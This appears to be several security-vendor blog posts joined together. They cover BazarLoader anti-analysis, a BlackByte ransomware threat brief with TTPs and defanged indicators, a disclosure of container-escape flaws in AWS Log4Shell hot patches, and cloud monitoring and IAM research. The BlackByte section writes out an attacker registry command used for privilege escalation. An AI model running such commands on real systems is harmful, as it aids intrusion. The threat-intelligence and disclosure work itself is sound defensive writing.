We can demonstrate the extent of the challenge OPs pose to malware analysts. The following CFG shows the unexecuted code blocks (Figure 11, red code blocks) in one of the smaller functions (sub_18000F640) in the sample.
Figure 11. sub_18000F640 function in BazarLoader with unexecuted code blocks colored in red.
We could manually patch away the code blocks that are not executed as we analyze each function in the sample, but this is not very practical and takes a lot of time. Instead, we will choose a smarter way by doing it automatically.
First, we have to locate all the OPs. The most common way to do this is to make use of the binary search mechanism in IDA Pro to find all the byte sequences of the OPs. This turns out not to be possible, as the OPs were likely generated by a compiler during the build process of the malware sample. There are just too many variants of the OPs that could be covered using the byte sequence.
Not only do we need to locate the OPs, we also have to know the exact point when the malware sample decides to avoid the unexecuted code blocks.
Using the following code, we locate the OPs in a function:
Figure 12. IDAPython code to locate the OPs in a function.
Next, we have to patch the instructions in OPs to force the code flow away from the unexecuted code blocks.
Using the following code, we patch the OPs in a function:
Figure 13. IDAPython code to patch the OPs.
The OPs also messed with the output of the HexRays decompiler. This is how the function (sub_18000F640) looks before the OPs are patched:
Figure 14. Decompiled sub_18000F640 function.
After applying the two techniques above, we have decompiled pseudocode that is much easier to read and understand.
After patching all the OPs and renaming the obfuscated API calls, we could then tell that the function (sub_18000F640) is just a wrapper function for GetModuleFileNameW().
Figure 15. Decompiled sub_18000F640 function after removing the OPs.
Malware Analysts vs Malware Authors
Malware authors often include anti-analysis techniques with the hope that they will increase the time and resources taken for malware analysts. With the above script snippets showing how to defeat these techniques for BazarLoader, you can reduce the time needed to analyze malware samples of other families that use similar techniques.
Palo Alto Networks customers are further protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with the WildFire and Threat Prevention cloud-delivered security subscriptions.
BlackByte is ransomware as a service (RaaS) that first emerged in July 2021. Operators have exploited ProxyShell vulnerabilities to gain a foothold in the victim's environment. BlackByte has similarities to other ransomware variants such as Lockbit 2.0 that avoid systems that use Russian and a number of Eastern European languages, including many written with Cyrillic alphabets.
The operators behind this ransomware have been very active since it first emerged. Since November 2021, they have targeted multiple U.S. and global organizations, including a number in energy, agriculture, financial services and the public sector. They also displayed pervasiveness with a notable increase (300%) in the number of attacks associated with the RaaS in October-December 2021, compared with July-September 2021.
Recently, a joint advisory from the U.S. Federal Bureau of Investigation and the U.S. Secret Service noted that the ransomware group had targeted critical infrastructure.
Palo Alto Networks detects and prevents BlackByte ransomware with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).
BlackByte is a RaaS that leverages double extortion as part of attacks. The threat actors behind the ransomware deploy a name-and-shame approach to victim shaming, as they operate a Tor .onion auction site where they sell stolen victim data. The operators even go so far as to link the auction site in the ransom note to scare victims.
Unit 42 has observed multiple variants of BlackByte in the wild – this includes variants written in Go and .NET, as well as one variant that appeared to have been written with a mix of both Go and C programming languages. Across the observed samples, these variants use multiple obfuscation and anti-debugging features. The ransomware payloads are UPX Packed and have worm capabilities, which allow them to increase the scope of an attack with little effort.
An earlier variant of BlackByte encrypts files in AES Symmetric encryption, a simple encryption routine where the same key is used to encrypt files. This variant downloads a .png file from the IP addresses 185[.]93.6.31 and 45[.]9.148.114 prior to encryption. Security researchers from SpiderLabs developed a decryptor for BlackByte, which was later published on GitHub.
The ransomware group was made aware of the public decryptor, and this led them to create a newer version of BlackByte that uses multiple keys for each session. The encryption happens without communication with any external IPs.
Figure 1. BlackByte warning message from the operators’ website.In addition to developing the latest ransomware variant, BlackByte operators also tried to discourage victims from using the public decryptor. They added a warning message on their site, and also included a warning against using the free decryptor in their ransom notes.
Figure 2. BlackByte sample ransom note, including a warning against using the public decryptor.The observed BlackByte samples had an icon attached to them resembling the grim reaper (see Figure 3, left). Some of the newer versions updated their executable icons to include the same grim reaper with the addition of BB to their icon, which stands for BlackByte (see Figure 3, right).
Figure 3. De-hashed images of the ransomware executable icon.
BlackByte also uses product descriptions that present its files as well-known products, likely in an attempt to mask its files as legitimate.
Figure 4. BlackByte using two different product descriptions.
Ransomware Highlights
Analysis of BlackByte variants identified the reuse of multiple tactics, techniques and procedures (TTPs).
Initial Access:
Use of a known Microsoft Exchange Server vulnerability (ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to gain access to the victim's networks. In one case, we observed threat actor attempts coming from the following IP addresses: 185[.]219.52[.]229 (RU), 198[.]144.189[.]74 (US), 45[.]137.190.193 (RU), 185[.]70.184.42 (NL) and 198[.]54.131.44 (US), with the 185[.]70.184.42 IP being the most persistent.
Persistence:
Delivering a malicious web shell allowing remote code execution capability.
In an effort to maintain persistence, the BlackByte ransomware excludes key system and application folders – as well as key components – from encryption so as not to render the system and ransomware inoperative. The folders excluded are as follows:
Files ignored by the ransomware:
BlackByte, ntdetect[.]com, bootnxt, NTLDR, recycle.bin, bootmgr, thumbs.db, ntuser.dat.log, bootsect.bak, autoexec.bat, iconcache.db, bootfont.bin, Bitdefender, Trend Micro, Avast Software, Intel, common files, ProgramData, WindowsApps, AppData, Mozilla, application data, Google, Windows.old, system volume information, program files (x86), boot, Tor browser, Windows, PerfLogs and MSOCache.
Any file with an extension matching the following list will also be avoided:
Cobalt Strike is dropped onto the compromised Exchange Server and injected into another process such as wuauclt.exe
BlackByte implements multiple obfuscation and anti-debugging features during execution, such as requiring a SHA256 hash passed via the command line, which is a unique identifier for the victim.
Deleting taskmg, resmon and stopping WinDefend using PowerShell obfuscated command.
Credential Access:
Use of Cobalt Strike for additional functions, including dumping credentials.
Privilege Escalation:
BlackByte has been observed modifying the registry in an effort to escalate privileges
Enable OS to share network connections between different privilege levels:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
Discovery:
The ransomware checks if the system includes Russian or a number of Eastern European languages, including many written with Cyrillic alphabets, before execution/encryption, and if found, it will exit.
Impact:
It should be noted that while the ransomware itself does not have an exfiltration capability, the threat actor was observed using WinRAR to compress local data in preparation to exfiltrate.
In older versions, BlackByte included a hardcoded RSA public key, believed to be used as part of the encryption algorithm. That could have been used as a backup key if the command and control servers (C2s) were down, or it could be that the threat actors moved away from hosting keys that could be easily retrieved. However, in newer versions, the encryption happened without communicating with any external IP addresses.
Targeting
The ransomware group and its affiliate program reportedly compromised multiple U.S. and global organizations, including some in the energy, agriculture, financial services and public sectors. They have also displayed pervasiveness with a noted increase in the number of attacks associated with the RaaS in October-December 2021, compared to July-September 2021.
The threat actor operates a cybercrime marketplace and victim name-and-shame blog dubbed BlackByte Auction. This site is hosted on a Tor network, and it is where the BlackByte ransomware group lists encrypted victim networks.
Figure 5. BlackByte Auction site.
Most Notable Recent Attacks
On Feb. 13, 2022, BlackByte operators announced they had compromised the San Francisco 49ers, a U.S. National Football League (NFL) team, and had stolen its financial data.
Given that this attack on the San Francisco 49ers was specifically timed to occur around the 2022 Super Bowl, it is likely that BlackByte operators seek to leverage timing to garner attention and increase profits from an attack.
Figure 6. BlackByte .onion blog screenshot.
BlackByte has also reduced its time to pay the ransom from 30 days to 17 days, and then down to 12 days. They have also changed their leak site address multiple times.
According to recent leak site data as well as Unit 42 incident response data, the following industries have been impacted by BlackByte since at least August 2021.
Figure 7. BlackByte targets by industry.
These victims have been observed primarily within the U.S.; however, BlackByte has a global presence and has been observed targeting organizations in the U.S. and Canada, South America, Australia, Europe, Africa and Asia.
Courses of Action
Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to BlackByte ransomware, as well as other malware using similar techniques:
Product / Service
Course of Action
Initial Access
The below courses of action mitigate the following techniques:
Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic
Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low, and informational vulnerabilities
WILDFIRE†
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure that WildFire file size upload limits are maximized
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Deploy XSOAR Playbook - Ransomware Manual for incident response.
†These capabilities are part of the NGFW cloud-delivered security subscriptions service
Conclusion
BlackByte ransomware operators have been active since at least July 2021. Due to the high-profile nature and steady stream of BlackByte attacks identified globally in early 2022, the operators and/or affiliates behind the service likely will continue to attack and extort organizations.
Palo Alto Networks detects and prevents BlackByte ransomware in the following ways:
WildFire: All known samples are identified as malware.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
Indicators of compromise and BlackByte-associated TTPs can be found in the BlackByte ATOM here.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Following Log4Shell, AWS released several hot patch solutions that monitor for vulnerable Java applications and Java containers and patch them on the fly. Each solution suits a different environment, covering standalone servers, Kubernetes clusters, Elastic Container Service (ECS) clusters and Fargate. The hot patches aren't exclusive to AWS environments and can be installed onto any cloud or on-premises environment.
Unit 42 researchers identified severe security issues within these patching solutions and partnered with AWS to remediate them. After installing the patch service to a server or cluster, every container in that environment can exploit it to take over its underlying host. For example, if you installed the hot patch to a Kubernetes cluster, every container in your cluster can now escape until you either disable the hot patch or upgrade to the fixed version. Aside from containers, unprivileged processes can also exploit the patch to escalate privileges and gain root code execution.
Containers can escape regardless of whether they run Java applications, or whether their underlying host runs Bottlerocket, AWS's hardened Linux distribution for containers. Containers running with user namespaces or as a non-root user are affected as well. Unit 42 assigned CVE-2021-3100, CVE-2021-3101, CVE-2022-0070 and CVE-2022-0071 to track the vulnerabilities.
AWS released a fixed version for each hot patch solution on April 19:
Version 1.1-16 of the log4j-cve-2021-44228-hotpatchpackage, which bundles the hot patch service.
Version 1.1-16 of the kubernetes-log4j-cve-2021-44228-node-agentDaemonset, which installs the updated package.
Version 1.02 of Hotdog, a hot patch solution for Bottlerocket hosts based on Open Container Initiative (OCI) hooks.
Unit 42 advises anyone who installed any of these hot patches to upgrade to a fixed version. Note that starting from Dec. 17, 2021, JDK packages (Java installations) on Amazon Linux automatically installed the log4j-cve-2021-44228-hotpatch package. Alternatively, users who are confident their applications are patched against Log4Shell can disable the hot patch service following the instructions in the Mitigations section below.
Prisma Cloud detects the hot patch package and will alert on hosts running a vulnerable version.
Log4Shell proved itself as one of the worst vulnerabilities of recent times. To help users combat the issue at scale, AWS open-sourced several hot patch solutions, each covering a different environment. Hot patching is the process of injecting a fix to a vulnerable running application. It's meant to serve as a short-term solution until a new, fixed version of the application can be deployed.
AWS released three hot patching solutions that detect processes and containers running vulnerable Java applications and patch them on the fly:
A hot patch service bundled in an RPM package. Starting from Dec. 17, 2021, this service is automatically installed with Amazon Linux JDK (Java) packages. Fargate customers could've asked for this service to be installed on the hosts running their containers.
A hot patch Daemonset for Kubernetes clusters, which installs the aforementioned hot patch service on all nodes.
Hotdog, a hot patch solution bundled as a set of OCI hooks. Hotdog is primarily intended for Bottlerocket hosts.
These solutions cover most compute environments, from Kubernetes clusters to ECS clusters, Fargate containers and standalone servers. They aren't exclusive to AWS environments, and can be installed onto other cloud environments or on-premises.
Unit 42 researchers discovered these patches can be exploited for container escape and privilege escalation. After any one of the patches is installed to a host or cluster, new containers can exploit the patch to escape and compromise their underlying host. On hosts that installed either the hot patch service or the hot patch Daemonset, existing containers can escape as well. Aside from containers, unprivileged processes can also exploit the patch service to escalate privileges and gain root code execution. AWS has now mitigated these vulnerabilities and released a fix for each solution.
Root Cause Analysis
AWS's hot patch solutions continuously search for Java processes and patch them against Log4Shell on the fly. Any process running a binary named “java“ – inside or outside of a container – is considered a candidate for the hot patch.
To patch Java processes inside containers, the hot patch solutions invoke certain container binaries. For example, they run the container's "java" binary twice: once to retrieve the Java version, and again to inject the hot patch. The issue was that they invoked container binaries without properly containerizing them. That is, the new processes would run without the limitations normally applied to container processes.
A malicious container therefore could have included a malicious binary named “java” to trick the installed hot patch solution into invoking it with elevated privileges. The malicious “java” process could then abuse its elevated privileges to escape the container and take over the underlying host. The fixed hot patch solutions now properly containerize container binaires before running them.
Aside from containers, the hot patch service also patched host processes in a similar manner. A malicious unprivileged process could have created and run a malicious binary named "java" to trick the hot patch service into executing it with elevated privileges. The fixed hot patch service now spawns “java” binaries with the same privileges as the Java process being patched.
Container Escape Demo
To verify the vulnerability is exploitable, we built a proof of concept (PoC) container image. When deployed to a cluster or VM that runs a vulnerable version of a hot patch solution, the container exploits the vulnerabilities to escape and gain root code execution on the underlying host. It then sends a reverse shell to an attacker-controlled server.
In the demo video below, a user installed the hot patch Daemonset to an EKS cluster. The demo then simulates a supply chain attack by showing what happens when the user inadvertently runs a malicious container image that exploits the hot patch.
Video 1. CVE-2021-3100 exploit demo.
While the demo showcases a supply chain attack, existing containers that were compromised (e.g. by a network payload) can also exploit the issues to escape and take over their underlying host. We've decided not to share the exploit's implementation details at this time to prevent malicious parties from weaponizing it.
Impact
Given the urgency surrounding Log4Shell, users may have deployed hot patches at scale, inadvertently putting container environments at risk. Even after Java applications were patched against Log4Shell, users may have kept the hot patch running for defense-in-depth as there isn't a strong incentive to remove it.
Containers are often used as a security boundary between applications running on the same machine. A container escape allows an attacker to extend a campaign beyond a single application and compromise neighboring services. In Kubernetes clusters, a single container escape is unfortunately sometimes enough to take over the entire cluster.
The issues are exploitable regardless of the container configuration, so even environments that enable advanced isolation techniques like running containers in user namespaces or as a non-root user are affected.
Aside from containers, unprivileged processes could have also exploited the vulnerabilities to escalate privileges and gain full control over their underlying server.
Mitigations
AWS released a fix for each hot patch solution. Once a host runs a fixed version, container escape and privilege escalation are no longer possible.
In Kubernetes clusters, you can install the fixed hot patch version by deploying the latest Daemonset provided by AWS. Note that only deleting the hot patch Daemonset doesn't remove the hot patch service from your nodes. Updated April 25: Currently, there isn't a fixed Daemonset version for Debian-based hosts (Debian and Ubuntu). See this GitHub thread for more details. Updated May 5: A fixed Daemonset version for Debian-based hosts was released. Note that the fixed version for the Debian log4j-cve-2021-44228-hotpatch package is 1.1.17.
On standalone hosts, you can upgrade by running yum update log4j-cve-2021-44228-hotpatch.
Alternatively, if you're confident that your environment is patched against Log4Shell, you can disable the hot patch service on a host by running sudo touch /etc/log4j-cve-2021-44228-hotpatch.kill. To disable Hotdog, run apiclient set oci-hooks.log4j-hotpatch-enabled=false.
Prisma Cloud customers can identify affected hosts under the Vulnerabilities tab. The platform detects the hot patch packages and alerts customers on VMs running a vulnerable version. To search for the vulnerabilities, use the Amazon Linux Security Advisories (ALAS) IDs associated with them: ALAS-2021-1554, ALAS-2021-1732, ALAS-2022-1580 and ALAS-2022-1773.
Figure 1. Prisma Cloud detects and alerts on vulnerable log4j-cve-2021-44228-hotpatch versions.
Palo Alto Networks Prisma Cloud, Cortex XDR and Next-Generation Firewalls (NGFWs) can detect follow-on attacker activities and disrupt command and control communications like the reverse shell used in the demo.
Safely Interacting With Containers
CVE-2021-3100, CVE-2021-3101, CVE-2022-0070 and CVE-2022-0071 add to a long list of container escape vulnerabilities that arise from a host process directly interacting with a running container. Simple tasks like copying files or spawning a new containerized process can have surprising outcomes when the container is malicious.
If you're building software around containers, defer to an established container runtime like runc for operations involving a container's processes or filesystem. Although they have also had their share of vulnerabilities, container runtimes are by far the most vetted and mature programs for safely interacting with containers.
Conclusion
Given the urgency surrounding Log4Shell, users may have deployed hot patches at scale, inadvertently putting container environments at risk. We encourage users to upgrade to the fixed hot patch version as soon as possible. Multitenant container environments and clusters running untrusted images are especially at risk.
If you're still patching against Log4Shell, prioritize that effort first. While the presented issues can lead to severe attacks against container environments, Log4Shell has rightfully earned its spot as one of the worst vulnerabilities of all time and is still being actively exploited.
We'd like to thank AWS for their partnership and coordination in remediating this vulnerability efficiently. As Log4Shell exploitation peaked, AWS's hot patch helped the community stop countless attacks. With these vulnerabilities fixed, it's now possible to use the hot patch to address Log4Shell while also keeping container environments secure.
A service mesh platform is a dedicated infrastructure layer that allows for the granular control of how applications share data. A standard use case could be to control the flow and rate of network traffic to a new version of a production web-based application. When the new web application is brought online, it is important to test the application to ensure it can handle a particular level of performance without failing. Service mesh platforms can be leveraged to facilitate how network traffic flows within a network and can be used to load balance the network traffic for a set of web-based applications.
However, service mesh platforms can also provide more insight into what has been a relative black hole for security practitioners within microservice environments: the dynamic monitoring of container processes and their network operations within Kubernetes (K8s) clusters. This blog will shed light on the threats facing cloud microservice architectures and how service mesh platforms like Istio, Linkerd and Consul can enhance the visibility of security incidents occurring within K8s clusters.
Development operations (DevOps) teams design containerized applications to be dynamically scalable, stateless, immutable and ephemeral, as is required to operate and maintain profitability within today’s evolving cloud computing landscape.
However, malicious attacker groups like TeamTNT, WatchDog and Nobelium (the group behind the SolarWinds Orion supply chain attack) have been witnessed directly targeting containerized applications. These attacks have resulted in the successful compromise of these ephemeral and immutable instances and have allowed the actors to escape compromised containers – and launch additional containers designed to perform other nefarious actions.
Sadly, security operations teams are often none the wiser to these activities, as visibility within the K8s cluster is frequently lacking.
TeamTNT is a prime example of threat actors targeting K8s applications, specifically in terms of their approach to Atlassian’s Confluence application. TeamTNT actors are actively using the exploitCVE-2021-26084, however, they are not the only actor group targeting this application either. As of the time of this writing, Shodan lists 976 individually internet-facing Atlassian Confluence servers around the world (see Figure 1), giving TeamTNT and other actor groups several opportunities to compromise cloud systems. While these servers are exposed, they may not be vulnerable to the given exploit.
Figure 1. Shodan results for Atlassian’s Confluence.
The Atlassian Confluence example paints a vivid picture of active cryptojacking attacks against cloud K8s containers, at least from the perspective of TeamTNT. However, exposed Atlassian Confluence applications running within cloud containers only represent one application.
Can more popular containerized applications present similar risks? Researchers analyzed the top 20 downloaded container images as listed on Docker Hub. Notable in this analysis, Atlassian’s Confluence is not on that list. But little is known about whether attacks are being performed against any of the more popular and potentially more exposed cloud-based applications such as web service applications or database applications. This is the foundation for stating that more visibility is required in order for security resources to detect the threats facing microservice infrastructure.
Prisma Cloud’s Defender agent offers one step toward the type of visibility discussed.
Service mesh platforms, like those provided by Istio, Linkerd and Consul, have been primarily used by DevOps to provide a means to secure the network communication pathways between interconnected microservices hosted within a K8s cluster. Service mesh platforms provide features such as reliability, security and observability and make the process of organizing, monitoring and securing each individual microservice more maintainable and manageable, and thus more secure.
Large enterprise organizations already use service mesh architecture within their K8s environments. This can be seen from HG Insights, which records and displays a relatively anonymous view of the various technologies that organizations employ. As of this writing, the data shows:
While organizations are using service mesh architectures, it is unclear if or how these organizations are integrating the telemetry insight these mesh architectures offer with their already existing security operations center (SOC) tool sets.
What is known is that service mesh platforms can provide a pathway for security teams to gain visibility within their K8s clusters, by leveraging the same features already used to mirror traffic while performing load balancing operations.
Before we dive into how to leverage service meshes for more insight, I want to talk about why we as an industry need to gain additional insight in the first place.
The Wider Ecosystem
Service mesh platforms can assist security teams in monitoring the actions of a container after it has been compromised. So how can an ephemeral, immutable and stateless container be compromised?
TeamTNT targeting Atlassian Confluence applications hosted within K8s clusters using known exploits targeting that application is a great example. However, are there other known exploits that can be leveraged to target more popular containerized applications?
The following figures illustrate the number of known exploits associated with each of the top 20 containerized applications (Figure 2), and the number of known exposed instances associated with that application (Figure 3). Exploit statistics were pulled from ExploitDB, and the number of exposed instances was determined from Shodan. The listed values for each finding were as of the date of this writing.
Figure 2. The number of known exploits and the number of known exposed instances associated with each of the top 20 containerized applications.
In total, 1,989 exploits are listed within the top 20 containerized applications alone. (Additional research was reported on the number of vulnerabilities within the infrastructure as code (IaC) templates and was published in the 2H 2021 Unit 42 Cloud Threat Report.)
Of these top 20 applications, 13 contain at least one known exploit and four contain at least 90 (see Table 1). It is extremely important to ensure that the latest and most up-to-date applications are deployed within K8s clusters to ensure they are not vulnerable to known exploits.
Container Image
Number of Vulnerabilities
Exploit Versions Identified in This Analysis
WordPress
1321
0.6 < 5.7.x
Apache
279
0.8.x < 1.0x
MySQL
158
3.20.32 < 6.0.9
Ubuntu
90
5.10 < 19.10
Python
39
1.5.2 < 3.5
Table 1. Top five downloaded container images with the highest number of known exploits.
Figure 3 presents another unique view of the state of known exposed instances for each of the top 20 images. The chart presents the number of instances exposed in terms of the cloud service provider environments they are hosted upon. Some interesting takeaways: Amazon Web Services hosts the vast majority of exposed python, httpd and node instances. Google Cloud hosts the majority of exposed PostgreSQL and MySQL instances. Perhaps the most interesting finding is that DigitalOcean hosted a significant portion of the publicly exposed instances in nearly every one of the top 20 analyzed container images, as of April 4, 2022. It is currently unclear why DigitalOcean users appear to expose more applications compared to other CSP users. But it could be due to several factors including price, which see users spin up cloud instances faster and more cheaply. This could attract a user base that may also neglect security best practices.
While some applications are designed to be exposed to the public – namely web services like nginx, httpd, etc. – database applications such as postgres, mongo, mysql, mariadb, etc should never be directly exposed to the public as a matter of security best practice. Users and cloud architects can dramatically improve their cloud security by simply ensuring that only those applications that require public exposure are allowed to do so, while preventing other applications from being exposed.
If an organization hosts cloud instances on any cloud platform, Unit 42 researchers recommend that these organizations perform an audit of their cloud resources to ensure users of those platforms are adequately securing that cloud infrastructure. Researchers recommend that users implement a Cloud Native Application Protection Platform (CNAPP) designed to detect and mitigate unwanted cloud-based applications from being publically exposed.
Figure 3. Distribution of exposed instances by cloud service provider.
Hypothetical questions for the readers: If Atlassian’s Confluence is being widely targeted by malicious actors and has yet to crack the top 50 of most popular container images, what other containerized applications, which maintain several hundred known vulnerabilities, are being targeted by malicious actors? If and when these containers are compromised, are they being monitored for malicious operations by security teams or their tools?
Example Security-Focused Service Mesh Architecture
So what does a security-focused service mesh architecture look like? See Figure 4. This architecture leverages the network traffic monitoring and mirror functionalities which are packaged within service mesh architectures to allow for traffic to be mirrored to standard security tools that are common within SOCs. This provides network traffic analysis capabilities within K8s clusters.
Additionally, by using cloud-native technologies like a Cloud Workload Protection Platform (CWPP), e.g. Prisma Cloud Compute, users can monitor runtime container operations within their K8s clusters, to detect and mitigate malicious processes, network traffic and API connections. Cloud-native technologies like CWPPs can work hand in hand with service mesh platforms, extending the service mesh’s capabilities to gather and collect auditable events from containers directly from the container’s host system without generating a significant amount of processing resource overhead.
Figure 4. Example of a security-focused service mesh architecture.
Implementing a Security-Focused Service Mesh
CWPPs like Prisma Cloud’s Compute provide the functionality of process monitoring within a K8s cluster and also incorporate a robust shift-left scanning functionality for DevOps continuous integration and continuous development (CI/CD) pipelines. Implementing shift-left scanning practices will dramatically improve an organization’s security risk exposure by making the process of compromising the organization’s cloud infrastructure more difficult for would-be attackers.
However, organizations should not be lulled into a false sense of security by thinking that scanning alone will prevent compromise post-deployment. Scanning alone can only assist in making the cloud infrastructure more difficult to initially compromise. It does not provide visibility, monitoring capabilities or alerting after a successful compromise or during an active security incident.
This is where a service mesh security solution comes into play. The service mesh can increase visibility and enhance the security of microservice infrastructure. It can work in tandem with the intelligence gathered from CWPP and cloud security posture management (CSPM) solutions.
Where CWPP products like Prisma Cloud Compute provide runtime monitoring in a container, firewall as a platform solution (FWaaPs) like Palo Alto Networks CN-Series provides URL filtering and Layer 7 detection mechanisms. A service mesh solution is able to integrate with both of these solutions and help increase security protection by providing mutual transport layer security (mTLS) encryption between microservices as well as the ability to mirror network traffic to dedicated network traffic analysis applications, which allow for greater insight into network-based attacks targeting microservices.
Runtime Monitoring
A CWPP runtime monitoring application or agent, e.g. Prisma Cloud’s Defender agent, is installed within each K8s cluster and sends the auditable data processed by the containers, and reports that data back to a centralized security application.
There are a number of security tools that are not cloud-native and may not be able to be installed on the K8s cluster itself, such as security information and event management (SIEM) or endpoint detection and response (EDR) agents, or various open-source log collection tools. If non-cloud-native tools such as these are being used, there is still a good chance these tools can be installed upon a cloud-based virtual machine, and most service mesh platforms will allow for a sidecar application to be installed. Sidecars are common architectural components within service mesh platforms and allow a single container to collect telemetry from the containers within a K8s cluster. Sidecars traditionally have small resource requirements – on average < 1 vCPU and < 40MB RAM. The sidecars do not need a significant amount of resources as they are solely relaying container data back to a centralized security application. For more information on sidecar performance see the Istio sidecar and Consul server performance metrics.
To be clear, any tool that provides runtime monitoring will incur a resource utilization requirement. However, the amount of security visibility gathered from the container operations is a key incentive, especially when considering the need to gather security incident data in the event of a compromise.
This level of insight could also allow internal threat hunters to detect the next wave of cutting-edge cloud-focused malware targeting your organization’s cloud infrastructure. Having detailed runtime monitoring capabilities provides a defensive measure to ensure cloud infrastructure remains secure, dynamic and scalable.
Network Traffic Monitoring
Network traffic monitoring is where a service mesh platform truly shines. Service mesh platforms dramatically increase the security hygiene of a K8s cluster by providing mTLS for all microservices running within the cluster. This means that all inter-network communications between services within the cluster will be encrypted.
Additionally, service mesh platforms provide the ability to customize the traffic load balancing operations within a K8s cluster itself by means of an integrated sidecar proxy. Instead of load-balancing network traffic at the CSP level, service mesh platforms can load-balance network traffic within the cluster itself, allowing DevOps teams to roll out new versions of applications incrementally. It also allows them to perform A/B testing without requiring redundant K8s clusters to be created or complex cloud platform load balancing operations to be performed.
K8s cluster network monitoring via service mesh platforms can also provide a needed security operation. Using the service mesh’s native Layer 7 visibility, the mesh can mirror any or all traffic to one or more systems, namespaces, or entire K8s clusters.
The ability to mirror network traffic based upon any layer of the open systems interconnection (OSI) model allows for the integration of security monitoring tools. Integrating URL filtering and DNS monitoring services can detect and prevent network traffic injection attacks, man in the middle (MITM), distributed denial of service (DDoS) or other network-based attacks. Furthermore, the service mesh platform provides an avenue to integrate CSP identity and access management (IAM) tools, allowing security teams to integrate access controls to specific microservices within a K8s cluster. By using the same IAM policies designated for user and service accounts within the hosted cloud platform, the security team can manage user access within the K8s cluster at a more granular level.
Conclusion
Service mesh platforms like Consul, Istio, and Linkerd are paramount to maintaining security best practices within containerized environments. However, their role within the security-focused operations in cloud environments has not been fully developed. Specifically, service mesh platforms can integrate network monitoring tools across all K8s pods and namespaces into a single third-party security-focused application, which dramatically eases security monitoring tasks for security teams.
Prisma Cloud’s Defender agent can be installed on K8s clusters allowing security teams to monitor the runtime operations of containers hosted on a K8s cluster. Service mesh platforms focus on the network mirroring and monitoring components of data within the K8s cluster. With the ability to monitor, investigate and respond to alerts centered around network traffic within K8s clusters, service mesh platforms provide much-needed visibility into K8s clusters. This visibility can shine a light on the threats that face cloud microservices today. This gives security operation teams the ability to truly monitor and respond to threats facing cloud infrastructure.
The ongoing transition to cloud platforms has meant that more sensitive data is stored in the cloud, making it more tempting for adversaries to exploit. When it comes to securing the cloud, identity is the first line of defense. Without proper identity and access management (IAM) policies in place, an organization can pay for any number of security tools – but comprehensive security will never be possible.
To understand how IAM policies affect organizations’ cloud security posture, we analyzed 680,000+ identities across 18,000 cloud accounts from 200 different organizations to understand their configuration and usage patterns. The results of our research were shocking.
Nearly all organizations we analyzed lack the proper IAM management policy controls to remain secure.
These misconfigured IAM policies open the door for what Unit 42 defines as a new type of threat: Cloud Threat Actors. We define a cloud threat actor as “an individual or group posing a threat to organizations through directed and sustained access to cloud platform resources, services or embedded metadata.”
We believe cloud threat actors merit a separate definition because we observe that they have begun to employ a fundamentally different set of tactics, techniques and procedures (TTPs) that are unique to the cloud – such as taking advantage of the ability to perform both lateral movement and privilege escalation operations simultaneously.
Below, we’ll present some of the highlights of the research and recommendations in Unit 42’s latest Cloud Threat Report, “IAM The First Line of Defense.”
Why Identity and Access Management Takes Center Stage
Throughout the pandemic, there were significant expansions of cloud workloads overall. Organizations increased their cloud usage – with a dramatic surge in the number of organizations that host more than half their workloads in the cloud (see Figure 1 below).
Figure 1. Percent change in cloud workloads since 2020, where blue represents cloud workload volumes and green represents organizations hosting more than half their workloads in the cloud.
As more organizations move workloads to the cloud, and develop applications natively in the cloud, identity needs to remain a key focus when building a cloud security strategy.
If you follow Unit 42 closely, you may remember that it was just a short time ago that we published a report on the importance of IAM. When attackers take advantage of misconfigured or overly permissive identity access controls, they don’t need to figure out how to pull off a technically complex compromise. Instead, they can simply gain access to resources as if they have a right to them.
Threat actors are hungry to target organizations that lack proper IAM controls, and pairing this hunger with an increased usage of cloud platforms creates a new kind of threat – one that is more sophisticated yet requires less effort to execute. The question turns to why and how this is possible.
Key Findings From Unit 42’s Cloud Threat Report: IAM The First Line of Defense
Why IAM Is a Target
Let’s address the “why” first by explaining some of the key statistics we uncovered:
Password reuse: 44% of organizations allow IAM password reuse.
Cloud identities are too permissive: 99% of cloud users, roles, services, and resources were granted excessive permissions which were ultimately left unused (we consider permissions excessive when they go unused for 60 days or more).
Built-in cloud service provider (CSP) policies are not managed properly by users: CSP-managed policies are granted 2.5 times more permissions than customer-managed policies, and most cloud users prefer to use built-in policies. Users are able to reduce the permissions given, but often don’t.
Figure 2. Average number of permissions granted by each policy type. CSP-managed policies (AWS_MANAGED_POLICY and AZURE_BUILT_IN_ROLE) grant 2.5 times more permissions than customer-managed policies.
With organizations allowing excessive permissions and overly permissive policies, attackers are too often welcomed into an organization’s cloud environment with keys to the kingdom.
How Cloud Threat Actors Target Cloud Identities
Most organizations are unprepared for an attack through the exploitation of weak IAM policies. Adversaries know this as well; they target cloud IAM credentials and are ultimately able to collect these credentials as part of their standard operating procedures. Case in point, they’re leveraging new TTPs unique to cloud platforms that organizations need to be aware of in order to implement a strategy to protect themselves.
Defense Against IAM Cloud Threats
To help organizations defend themselves against this threat, we created an industry-first Cloud Threat Actor Index that can be found in our report, which charts the operations performed by actor groups that target cloud infrastructure. These charts detail the TTPs of each cloud threat actor, allowing your security team and wider organization to evaluate your strategic defenses and build the proper monitoring, detection, alerting and prevention mechanisms.
Who Is Targeting the Cloud?
